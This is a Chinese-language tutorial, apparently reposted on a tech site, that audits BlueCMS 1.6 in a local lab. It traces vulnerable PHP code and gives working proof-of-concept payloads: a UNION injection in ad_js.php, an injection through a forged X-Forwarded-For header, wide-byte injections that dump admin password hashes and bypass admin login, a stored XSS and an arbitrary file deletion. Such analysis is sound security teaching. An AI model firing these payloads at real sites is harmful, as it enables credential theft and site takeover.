溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

php中的bluecms審計怎么用

發(fā)布時間:2021-10-18 15:49:09 來源:億速云 閱讀:134 作者:柒染 欄目:網(wǎng)絡管理

這期內(nèi)容當中小編將會給大家?guī)碛嘘Pphp中的bluecms審計怎么用,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

代碼審計

一、審計方法

審計方法:

定位敏感關鍵字,回溯參數(shù)傳遞過程

定位敏感功能點,通讀功能代碼 (黑盒+白盒)

系統(tǒng)重裝

文件上傳

文件管理功能

登錄認證

密碼找回

訂單支付

全文代碼通讀審計(index.php 跟蹤調(diào)試)

實用工具:

seay 代碼審計

rips

xdebug

二、Bluecms審計

2.0 審計環(huán)境

phpstudy

php5.2

bluecms1.6 sp1 (安裝就不說了)

seay代碼審計系統(tǒng)

2.1 ad_js.php sql注入漏洞

seay自動審計

php中的bluecms審計怎么用

ad_js.php疑似存在 sql注入漏洞

php中的bluecms審計怎么用
require_once dirname(__FILE__) . '/include/common.inc.php';

這里包含了網(wǎng)站的配置文件,且配置文件中有統(tǒng)一配置

if(!get_magic_quotes_gpc())
{
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

對$*post、$*get、$*cookies和$*request統(tǒng)一進行gpc處理,對得到的參數(shù)轉移特定的字符。

但是 ad_js.php 并沒有使用單引號,所以可以直接繞過。

查看getone()函數(shù)無過濾:

function getone($sql, $type=MYSQL_ASSOC){
        $query = $this->query($sql,$this->linkid);
        $row = mysql_fetch_array($query, $type);
        return $row;
    }

這里確實存在數(shù)字型注入。

php中的bluecms審計怎么用

可根據(jù)頁面回顯,

php中的bluecms審計怎么用

成功回顯 7 的位置。

poc:

http://www.blue.com/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x7e,pwd) from blue_admin--+

php中的bluecms審計怎么用

2.2 comment.php sql注入漏洞

php中的bluecms審計怎么用

include/common.fun.php:

/**
  *
  * 獲取用戶IP
  *
  */
function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { //獲取客戶端用代理服務器訪問時的真實ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

配置文件中對$*post、$*get、$*cookies和$*request統(tǒng)一進行gpc處理,但是遺漏了$_SERVER。而且網(wǎng)站恰恰通過該變量獲取ip地址,因此我們就可以對ip通過client-ip或x-forwarded-for等進行偽造。

phpstorm中快捷鍵ctrl+shift+F在項目中搜索在哪調(diào)用了getip函數(shù)。

comment.php中調(diào)用,

$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
            VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";

$content進行轉移避免 xss,

$content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : '';

對其他參數(shù)進行gpc轉譯和字符的intval強制轉換。

可這個getip函數(shù)就出了問題,沒有過濾。那么我們就可以偽造 ip 造成sql注入了,

測試評論功能正常,

php中的bluecms審計怎么用

我們可以修改源碼讓其將執(zhí)行的sql 語句執(zhí)行出來,然后結束程序。

php中的bluecms審計怎么用

可以看到可成功偽造 ip

得到sql語句

INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '1', '1', '6', '123', '1613538389', '1.1.1.1,'1')

php中的bluecms審計怎么用

那么我們在偽造 ip 的 評論處構造 sql語句,

poc:

X-Forwarded-For: 1.1.1.1','1'), ('', '1', '1', '1', '6', (select group_concat(admin_name,":",pwd) from blue_admin), '1613538242', '1.1.1.1

發(fā)布評論成功

php中的bluecms審計怎么用

成功注入

php中的bluecms審計怎么用

2.3 文件包含漏洞

php中的bluecms審計怎么用

user.php750行

elseif ($act == 'pay'){
 	include 'data/pay.cache.php';
 	$price = $_POST['price'];
 	$id = $_POST['id'];
 	$name = $_POST['name'];
 	if (empty($_POST['pay'])) {
 		showmsg('對不起,您沒有選擇支付方式');
 	}
 	include 'include/payment/'.$_POST['pay']."/index.php";
 }

分析代碼,我們發(fā)現(xiàn)$_POST['pay']并沒有做多余的安全檢測,直接進行拼接,前文中說道,對post方法進行了重寫,會對%00進行轉譯,所以利用%00進行截斷是不行的。

在這里說一下各個截斷的條件吧

00截斷(需要 php版本小于 5.3.8 以及 magic_quotes_gpc = Off )

點號截斷(只適用于windows)(php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php...........................................................................................................................................................................................................................(本次測試長度需要大于269)

./截斷 (php版本 5.2.17、 magic_quotes_gpc = On )
index.php?file=phpinfo.php././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././. /././././(本次測試長度需要大于269)

應該是我本地環(huán)境配置原因,沒復現(xiàn)成功,

后續(xù)可以上傳頭像,進行文件包含寫shell.

2.4 用戶注冊xss 漏洞

這次不用Seay挖xss漏洞,我們通過關鍵功能測試來審計xss漏洞。 在后臺->會員管理->會員列表處,管理員是可以查看會員信息的,要是此處信息能從前臺插入xss代碼,就能盜取管理員cookie。

來到前臺會員注冊處,嘗試注冊一個用戶,可以看到可控的有用戶名,郵箱,密碼一般不考慮。

提交注冊,抓包具體分析一下,可以看到走的是user.php的do_reg方法。

php中的bluecms審計怎么用

elseif($act == 'do_reg'){
	$user_name 		=	!empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
	$pwd       		= 	!empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
	$pwd1 	   		= 	!empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
	$email     		= 	!empty($_POST['email']) ? trim($_POST['email']) : '';
	$safecode  		= 	!empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
	$from = !empty($from) ? base64_decode($from) : 'user.php';

	if(strlen($user_name) < 4 || strlen($user_name) > 16){
		showmsg('用戶名字符長度不符');
	}
	if(strlen($pwd) < 6){
		showmsg('密碼不能少于6個字符');
	}
	if($pwd != $pwd1){
		showmsg('兩次輸入密碼不一致');
	}
	if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
		showmsg('驗證碼錯誤');
	}
	if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
		showmsg('該用戶名已存在');
	}
	if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
		showmsg('該用戶名已存在');
	}
	$sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
	if(!$db->query($sql)){
		showmsg('很遺憾,注冊中出錯啦');
	}else{
		$_SESSION['user_id'] = $db->insert_id();
		$_SESSION['user_name'] = $user_name;
		update_user_info($_SESSION['user_name']);
		setcookie('BLUE[user_id]', $_SESSION['user_id'], time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_name]', $user_name, time()+3600, $cookiepath, $cookiedomain);
		setcookie('BLUE[user_pwd]', md5(md5($pwd).$_CFG['cookie_hash']), time()+3600, $cookiepath, $cookiedomain);
		if(defined('UC_API') && @include_once(BLUE_ROOT.'uc_client/client.php'))
		{
		$uid = uc_user_register($user_name, $pwd, $email);
		if($uid <= 0)
		{
			if($uid == -1)
			{
				showmsg('用戶名不合法!');
			}
			elseif($uid == -2)
			{
				showmsg('包含不允許注冊的詞語!');
			}
			elseif($uid == -3)
			{
				showmsg('你指定的用戶名 '.$user_name.' 已存在,請使用別的用戶名!');
			}
			elseif($uid == -4){
				showmsg('您使用的Email格式不對!');
			}
			elseif($uid == -5)
			{
				showmsg('你使用的Email 不允許注冊!');
			}
			else
			{
				showmsg('注冊失敗!');
			}
		}
		else
		{
			$ucsynlogin = uc_user_synlogin($uid);
			echo $ucsynlogin;
		}
		}
		$_SESSION['last_reg'] = $timestamp;
		showmsg('恭喜您注冊成功,現(xiàn)在將轉向...', $from);
	}

這里用戶名長度不大于 16 ,郵箱前端驗證。

我們選擇郵箱處 xss.

php中的bluecms審計怎么用

成功 xss,

再去看看管理后臺,成功彈窗

php中的bluecms審計怎么用

2.5 用戶注冊 sql注入

現(xiàn)在本地調(diào)一下代碼

php中的bluecms審計怎么用

繼續(xù)使用 email

php中的bluecms審計怎么用

可以看到滿足 寬字節(jié)注入的條件,因為配置文件重寫了 post 方法,所以注入的時候要注意單引號。

構造 paylaod

referer=&user_name=user03&pwd=user03&pwd1=user03&email=user03%401.com%df',1,1),(100, 0x757365723034, md5(123456), (select concat(admin_name,pwd) from blue_admin),1,1)#&safecode=xcpn&from=&act=do_reg

php中的bluecms審計怎么用

php中的bluecms審計怎么用

2.6 后臺登錄 sql 注入

php中的bluecms審計怎么用

文件/admin/login.php方法 do_login

elseif($act == 'do_login'){
 	$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
 	$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
 	$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
 	if($admin_name == ''){
 		showmsg('用戶名不能為空');
 	}
 	if($admin_pwd == ''){
 		showmsg('用戶密碼不能為空');
 	}
 	if(check_admin($admin_name, $admin_pwd)){
 		update_admin_info($admin_name);
 		if($remember == 1){
 			setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
 			setcookie('Blue[admin_name]', $admin_name, time()+86400);
			setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
 		}
 	}else{
 		showmsg('您輸入的用戶名和密碼有誤');
 	}
 	showmsg('歡迎您 '.$admin_name.' 回來,現(xiàn)在將轉向管理中心...', 'index.php');
 }

check_admin:

function check_admin($name, $pwd)
{
	global $db;
	$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
 	if($row['num'] > 0)
 	{
 		return true;
 	}
 	else
 	{
 		return false;
 	}
}

寬字節(jié)注入,

admin_name=admin%df'or 1=1#&admin_pwd=sssss&submit=%B5%C7%C2%BC&act=do_login

php中的bluecms審計怎么用

2.7 任意文件刪除

php中的bluecms審計怎么用

user.php792 行。

elseif($act == 'edit_user_info')
if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相對路徑地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
		if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
			@unlink(BLUE_ROOT.$_POST['face_pic3']);
		}
	}

要使得face_pic1為空,

BLUE_ROOT 問當前文件所在路徑。

require_once dirname(__FILE__) . '/include/common.inc.php';

# ommon.inc.php
define('BLUE_ROOT',str_replace("\\","/",substr(dirname(__FILE__),0,-7)));

此功能點在用戶修改信息處,抓包,填入face_pic3 得值即可刪除任意文件。

php中的bluecms審計怎么用

上述就是小編為大家分享的php中的bluecms審計怎么用了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI